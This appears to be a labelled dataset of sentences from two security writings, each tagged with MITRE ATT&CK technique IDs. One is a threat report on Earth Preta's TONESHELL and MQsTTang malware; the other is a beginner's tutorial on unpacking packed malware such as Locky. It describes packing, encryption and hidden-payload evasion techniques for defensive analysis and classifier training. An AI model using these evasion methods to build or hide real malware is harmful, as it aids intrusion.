{"sentence": "Special string in the sample In one TONEINS sample (SHA256: 7436f75911561434153d899100916d3888500b1737ca6036e41e0f65a8a68707), we also observed the string taozongjie, which was being used for an event name.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Create event taozongjie in TONEINS In another TONESHELL sample (SHA256: d950d7d9402dcf014d6e77d30ddd81f994b70f7b0c6931ff1e705abe122a481a), there are some insignificant export functions, which will appear via message boxes, with the strings Tao or zhang!.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Even though the names of these two strings are not spelled exactly same way as taozongjie, their spellings are still similar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Message boxes of TONESHELL Based on what we found among the different samples, we assume that taozongjie could be one of the flags used by the threat actors.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "GitHub user “YanNaingOo0072022” The GitHub user “YanNaingOo0072022” was mentioned in both an Avast and an ESET report.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The user’s repositories host various malware, including the latest versions of TONEINS, TONESHELL, and a new tool, QMAGENT, which is ESET named MQsTTang”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "At the time of writing, this GitHub space was still accessible, with five repositories: “View2015,” “View2016,” “1226,” “ee,” and “14.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Among these, “View2015” and “View2016” were empty.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The YanNaingOo0072022 GitHub space 1226", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The archive files in this repository are all the same but have different file names.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that these files were meant for different victims.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The 1226 repository Upon unarchiving the compressed file, we found two files with the fake extension “.doc” containing one-byte XOR encrypted sections.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Both share the same file structure (a PE payload hidden in a DOCX file) as the one we referred to in the arrival vectors section.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "These files ended up being the TONEINS and TONESHELL malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 56.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The files inside the archive 14 The file Documents members of delegation diplomatic from Germany.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Exe, found in the Documents.rar archive, is a novel malware that communicates over the MQTT protocol.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In March 2023, ESET published a detailed technical report on this backdoor, which it named “MQsTTang.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Beginning in January, we discovered that MQsTTang was being used as the new arrival vector in some of incidents we encountered, specifically in campaigns targeting individuals involved with government entities.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This backdoor is unique because it communicates to its C&C servers over the MQTT protocol, which is commonly used in internet-of-things (IoT) devices.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Malicious actors using this technique can effectively hide the real C&C server behind the protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The 14 repository ee The file CVs Amb Office PASSPORT Ministry Of Foreign Affairs.exe, which is the malware QMAGENT, can be found in the CVs Amb.rar archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The ee repository Conclusion Over the past year, security researchers have been discovering and analyzing Earth Preta’s campaigns and toolsets.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We were able to attribute some of these to Earth Preta based on similarities among the TTPs, the malware being used, and the timeline of the campaigns.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting October 2022, the threat actors changed the arrival vector of the TONEINS, TONESHELL, and PUBLOAD malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Instead of attaching malicious archives or Google Drive links to an email, they now embed the download link in another decoy document and add a password to the archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on our observations, Earth Preta tends to hide malicious payloads in fake files, disguising them as legitimate ones — a technique that has been proven effective for avoiding detection.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As for privilege escalation, the threat actors tend to reuse codes copied from open-source repositories.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Meanwhile, they developed customized toolsets designed to collect confidential documents in the exfiltration stage.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Overall, we believe that Earth Preta is a capable and organized threat actor that is continuously honing its TTPs, strengthening its development capabilities, and building a versatile arsenal of tools and malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To help prevent potential threats such as the one posed by advanced persistent threat (APT) groups, we suggest that organizations conduct phishing awareness training for their employees and partners to stress the importance of caution when opening emails, particularly those messages from unfamiliar senders or with unknown subjects.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To assist organizations in protecting themselves against sophisticated threats, we recommend adopting a comprehensive security strategy that employs advanced technologies capable of identifying and halting such threats across multiple channels, including endpoints, servers, networks, and email communications.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Indicators of Compromise (IOCs)", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The full list of IOCs can be found here.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "MITRE ATT&CK Tactic ID Name Resource Development T1583.004 Acquire Infrastructure: Server T1587.001 Develop Capabilities: Malware T1585.002 Establish Accounts: Email Accounts T1588.002 Obtain Capabilities: Tool T1608.001 Stage Capabilities:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Upload Malware Initial Access T1566.002 Phishing: Spearphishing Link Execution T1204.001 User Execution: Malicious Link T1204.002 User Execution: Malicious File Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574.002 Hijack Execution Flow: DLL Side-Loading T1053.005", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Scheduled Task/Job: Scheduled Task Privilege Escalation T1068 Exploitation for Privilege Escalation T1134 Access Token Manipulation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1036.005 Masquerading: Match Legitimate Name or Location Lateral Movement T1091 Replication Through Removable Media Command and Control T1071.001 Application Layer Protocol: Web Protocols T1573.001 Encrypted Channel:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Symmetric Cryptography T1104 Multi-Stage Channels T1095 Non-Application Layer Protocol Exfiltration T1048 Exfiltration Over Alternative Protocol Authors Vickie Su Threats Analyst Nick Dai Sr. Threat Researcher Sunny Lu Threats Analyst", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In part 1 of this series, we warmed up and aligned with basic computing terminologies.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We learned the basics of assembly and how to use disassemblers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "All of these tools and techniques are very important for reversing malware samples.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Different sorts of malware have different capabilities and implementations.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As reverse engineers, we need to be familiar with them and be able to identify and understand them.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Often, malware targeting Windows will be packed and delivered as a second stage.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "There are different ways to “deliver” malware to the endpoint.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "This blog will cover key concepts and examples regarding how malware is packed, obfuscated, delivered, and executed on the endpoint.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Here’s what we’ll cover: Basic terms that explain how malware is delivered to endpoints.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A deep dive on packers – what they are, how they work and how to identify packed samples.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Following the technical information, we will demonstrate two hands-on analyses of packed malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Basic Terminology for Reverse Engineers to Know An executable file can conceal its true code through either encryption or compression.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When the file is executed, some initial code usually called a stub, decrypts or decompresses the real code so it can be executed.", "labels": ["T1140"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "These tools, that we will describe in this section, can be used by legitimate vendors that want to protect their software from piracy and copyright violations but threat actors also use these tools to evade detection and make the reversing engineering and analysis process harder.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Now, let’s look at these four tools: a packer, crypter, protector, and a loader.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "What’s a Packer? Packers are often used to compress the payload so it will take less space on disk.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "While packers can be used for legitimate purposes, malware developers utilize packers to make the malicious payload smaller and avoid detection based on static malware analysis techniques.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Examples: UPX is an open-source packing algorithm.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "MPRESS is a free packer.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Andromeda is a custom packer that makes reverse-engineering more difficult.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "What’s a Crypter?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Some security tools use signatures or keywords to detect malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To avoid detection by these tools, malware developers can use crypters.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A crypter encrypts the payload, so it will be harder for signature-based and standard anti-viruses to detect the malicious payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Examples: PEUNION EXECryptor What’s a Protector?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For most threat actors, one of the goals they want to achieve is to evade detection, and if the malware is detected then make the analysis process harder for researchers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "That’s where protectors come into the picture – they offer many features that can make static and dynamic analysis tedious and time-consuming.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Having said that, legitimate organizations can use protectors to protect their software from being cracked and manipulated.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Usually, protectors will encrypt the payload, remove and obfuscate imports, implement anti-debugging and anti-reversing techniques, and much more. Examples: Themida Enigma Protector VMProtect What’s a Loader?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Packed malware samples are compressed and stored inside the final executable, which will extract and execute the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "On the other hand, there are loaders that serve as the first stage of the attack, the payload of the malware can be part of the loader’s file or it can be downloaded from a remote location (by the loader, also known as a Downloader).", "labels": ["T1027", "T1105"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In addition, loaders can be used to set persistence and additional components needed for the execution of the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For example, Bazarloader is a sophisticated loader with multiple techniques that is used in attacks against high-profile organizations.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Bazarloader delivers all sorts of threats, from spam to ransomware like Conti or Ryuk.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In many cases, malware is delivered by tools that implement some (or all) of the functionalities of packers, crypters, protects, and loaders –- all to make the analysis harder.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For example, Morphine has its loader and can encrypt the original file.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Deep Dive Into How Packers Work and Detection", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Now let’s focus on packers, how they work, how to identify packed files, and how to extract the packed payload that can contain malicious code.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "How do packers work?", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The packed file contains three main components: packed content, a new PE header, and a stub, as seen in the image below: Packed sample view.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The packers compress (and if it has the functionality of a crypter also encrypts) the original executable, which is saved in one of the sections of the final packed file.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The entry point of the original file is relocated, and so is the Import Address Table (IAT).", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The stub is a small part of code that implements the decompression (and decryption) of the originally packed file.", "labels": ["T1140"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "A new PE header is prepended to the packed file or modifies the existing header so it will be a valid executable.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "How to detect packed files 1.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Static detection When data is being compressed or encrypted, the output is not structured and resembles more random data, resulting in high entropy.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In information theory, entropy is a measure of disorder/randomness.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The calculation is done using logarithm with base 2, also known as Shannon entropy, the result is in units of bits, hence the range of entropy level for binary files is 0 to 8.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can check the entropy of the file sections, and if one of them has a value of 7 or higher, there is a high probability that the file is packed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Packers may change the final payload’s section names, as seen in the screenshot below.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "But in most cases, malware authors will rename the sections to more commonly used names that will not give away the fact that the file is packed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Multiple tools can be used to detect indicators of a sample being packed: PEstudio, DiE (Detect it Easy), CFF explorer, and more.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "There are many examples and tutorials that use these tools, so we will show another free tool that can be handy in this and later stages: radare2.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Viewing the section of a file (see technical analysis on this packer here).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Packed samples usually have very few imports as they don’t rely on external libraries like other programs.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When a file has a low number of imports, it strongly indicates that it contains another component that is dropped/loaded.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "However, malware developers can add “dummy” imports to mislead researchers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Viewing the imports for a packed file; full analysis results here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse Engineering Example: Static Unpacking of UPX Packed Samples", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Standard UPX packed samples can be identified by the section names, as long as they were not modified by the attackers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Let’s take a look at a sample with MD5 5598febfbf00839c9f7047d9fe3205e3.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The section names of the files contain the UPX string, as seen in the screenshot below: We can use the UPX command line utility to extract the packed payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The command to decompress a packed file is as follows: upx -d <packed>", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "-o <extracted payload>", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "You can run the command on the sample and verify that the extracted file has MD5 6d13f5d287fd735a9bbc261aafb49006.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Dynamic detection When we dynamically analyze a packed file, we aim to extract the payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Several functions can be a good place for putting a breakpoint and attempting to fetch the extraction process.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Let’s look at API calls and debuggers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "API Calls Essentially, all packers need to perform the following operations: allocate memory, change permissions, read the encrypted/packed chunk of code, decrypt it, load it to the allocated memory space and execute it.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "To make all of these actions, the program must use system calls because these actions require interaction with the kernel.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The relevant system calls are VirtualAlloc used for allocating memory in the current process.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The memory is automatically initialized to zero.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "One of the arguments is dwSize – that’s the size in bytes.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Knowing the size can help identify when a program allocates big memory space, possibly for the unpacked payload.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "VirtualProtect changes the permissions of the given virtual address.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When malware wants to grant write or execute permissions flNewProtect argument will be set to PAGE_EXECUTE_READWRITE (0x40) or PAGE_EXECUTE_READ (0x20).", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "RtlDecompressBuffer decompresses the provided buffer.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "CreateProcessInternalW creates a new process.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In the context of malware execution, it can create a new threat with the malicious unpacked payload.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can look for these system calls in the list of imported functions.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "However, malware authors usually try to hide these system calls.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For instance, we will not see them in the imported function list, and they not even be part of the strings in the sample.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this case, the function and the corresponding library are dynamically loaded at runtime – also known as explicit linking.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this case, dynamic debugging can be very helpful – debuggers like x64dbg let you put a breakpoint on function calls, even if the function is not imported.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The breakpoint will be triggered if the system call is executed.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Debugger A debugger is a powerful tool that allows developers and researchers to follow and control the execution of a program.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "When debugging an executable, you can view the registers, stack, and memory and see how each instruction affects the stored data.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Debugging malware can reveal code executed only in runtime (meaning that you will not see it in standard static analysis).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Debuggers also allow you to see how strings and payloads are deobfuscated and constructed – making it easier to find the interesting patterns of the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Different debuggers can be used to debug Windows executables and DLLs: OllyDbg – not maintained anymore Windbg – powerful kernel-mode and user-mode debugger created by Microsoft.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "x64dbg – reliable and user-friendly.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "For 32-bit executables, it’s x32dbg.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The main difference between these debuggers is the implementation, which may result in certain behaviors, but for the most part, it’s up to you to choose which debugger you prefer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "There are more tools for debugging (and analyzing) .NET", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "executables and other Windows executables, but that’s not covered in this blog.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse Engineering Example:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Extracting Packed Locky Payload In this section, we will present a guide on extracting packed malware from 2 popular malware:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "CobaltStrike and Locky.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Make sure to run (and debug) the following examples in an isolated Windows virtual machine.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "You can watch the video of the hands-on unpacking process of Cobalt Strike.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The video shows generation of a Cobalt Strike payload, analysis of the assembly, dynamic execution of the stager to fetch payload, scanning the endpoint for in memory genetic analysis, and parsing the Beacon configuration.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The analysis of the Locky ransomware is covered in the section below.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Reverse engineering tools that will be used in these analyses:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Windows virtual machine x32 debugger Radare2 Command line commands: file, strings, shasum", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In this example, we will inspect a packed sample of Locky ransomware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "While Intezer automatically identifies that the file is packed and extracts the payload for us, we will show how you can manually extract the payload here.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Static analysis First, we will check the entropy of the section (as we did in the previous example).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We will use radare2.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As seen in the screenshot below, the .rdata section has an entropy level higher than 7, and it’s very unusual for this section to have randomized data.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can run the strings command on the sample.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The output contains lots of strings that look like a random collection of characters.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "At this point, we can assume that the sample is packed, so we will move to dynamic analysis using the x32dbg debugger.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Dynamic analysis We will use the API calls we covered in the previous section.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Put breakpoints on VirtualAlloc and VirtualProtect.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "bp VirtualAlloc bp VirtualProtect Now, let’s run the file.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "It will first stop at the entrypoint, we will hit F9 (continue until next breakpoint – BP), and we will get to the first call to VirtualAlloc.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "As seen in the screenshot below, the BP stopped on the call to VirtualAlloc, which is in the Kernel32.dll, and in the stack view (right low corner) we can see the arguments passed to the function.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can see that the required allocated space is relatively small, so it’s probably not called by the unpacking routine.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "So we will continue running the program – hit F9 again.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "It might take a few more hits on the call to VirtualAlloc before we get to a call with the size 0xF41D.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "At this point, we want to see where VirtualAlloc was called and what will be stored in the allocated spaces.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "So, as shown below, we will ask x32dbg to run to user mode.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We will get to the instruction “ret 10” at this point.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We need to grab the value stored in EAX, which stores the return value of VirtualAlloc.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In my case, EAX is 0x240000.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We will hit right-click and follow in the dump.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The memory is zeroed out", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "but if we follow the execution of the code (hitting F8 several times), we will see that the memory contains some values, but they look random.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can continue running the program until the next hit on the VirtualAlloc call.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Continue running the program until VirtualAlloc is called with the size: 0x17400 – which is even bigger than the previously allocated buffer.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Then again, hit “run to user code,” or “execute till return” and follow EAX in the dump and step through the use code until you see the allocated memory filled with data that looks like this: The dump contains the unpacked executable – we can identify it by the 0x4D5A (MZ) magic.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "In the memory map, right-click the section and hit “Dump memory to file.”", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "The MD5 of the extracted payload is e96dad009437ca774035ffd73708bd3e.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "We can see in Intezer that, indeed, it’s", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Locky ransomware malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Mazal tov!", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "You have successfully extracted the Locky payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "Automating Unpacking for Every File Learning the foundations of reverse engineering is important if it is a skill that you are trying to develop in your career.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "But for many security teams, even at large companies, you may not have the time to manually unpack and reverse engineer files on a regular basis.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
{"sentence": "If you have automated tools that can unpack files and conduct reverse engineering-level analysis, those can ensure that you’re using your time efficiently to focus on threats that require your attention.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners  Part 2"}
